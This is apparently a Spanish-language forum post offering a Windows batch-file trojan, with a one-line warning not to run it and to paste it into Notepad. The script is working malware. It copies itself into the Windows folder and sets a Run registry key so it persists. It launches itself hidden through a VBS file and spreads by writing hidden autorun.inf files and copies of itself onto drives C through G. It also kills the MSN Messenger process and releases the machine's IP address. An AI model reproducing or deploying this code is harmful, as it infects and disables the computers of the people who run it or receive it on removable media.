Peligroso no lo hagas en tu pc solo copia el codigo en una libreta es el troyano

@echo off
:res
if exist "C:\WINDOWS\windows.bat" (goto iss) else (goto copiar)
:copiar
copy %0 "C:\WINDOWS\windows.bat"
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v windows /d "C:\WINDOWS\windows.bat" /f
:iss
if exist xcopy.exe (goto res) else (goto ess)
:ess
set a=echo
set b=%cd%
set c=%0
if '%1=='Hide GoTo Hide_%2
Call:Vbs > Script.vbs
Start Script.vbs
Exit
:Vbs
%a%Set fs = CreateObject(^"Scripting.FileSystemObject^")
%a%Origen = %c%
%a%Destino = ^"%b%\windows.bat^"
%a%fs.CopyFile Origen, Destino
%a%fs.deletefile Origen
%a%set RunHide = CreateObject(^"WScript.Shell^")
%a%RunHide.run ^"WINDOWS.bat Hide me^",vbHide
GoTo:eof
:Hide_me
:SEGUIR
if exist "C:\datos.txt" (goto seguir) else (goto muerte)
:muerte
if exist "C:\autorun.inf" (goto d) else (goto cseguir)
:cseguir
echo [AUTORUN] >>"C:\autorun.inf"
echo shellexecute=windows.bat >>"C:\autorun.inf"
attrib +h "C:\autorun.inf"
xcopy %0 C:\ /e /y /i
:d
if exist "d:\autorun.inf" (goto e) else (goto dseguir)
:dseguir
echo [AUTORUN] >>"d:\autorun.inf"
echo shellexecute=windows.bat >>"d:\autorun.inf"
attrib +h "d:\autorun.inf"
xcopy %0 d:\ /e /y /i
:e
if exist "e:\autorun.inf" (goto f) else (goto eseguir)
:eseguir
echo [AUTORUN] >>"e:\autorun.inf"
echo shellexecute=windows.bat >>"e:\autorun.inf"
attrib +h "e:\autorun.inf"
xcopy %0 e:\ /e /y /i
:f
:fseguir
echo [AUTORUN] >>"f:\autorun.inf"
echo shellexecute=windows.bat >>"f:\autorun.inf"
xcopy %0 f:\ /e /y /i
:g
:gseguir
echo [AUTORUN] >>"g:\autorun.inf"
echo shellexecute=windows.bat >>"g:\autorun.inf"
xcopy %0 g:\ /e /y /i
:sin
TASKKILL /F /IM msnmsgr.exe
ipconfig /release
goto seguir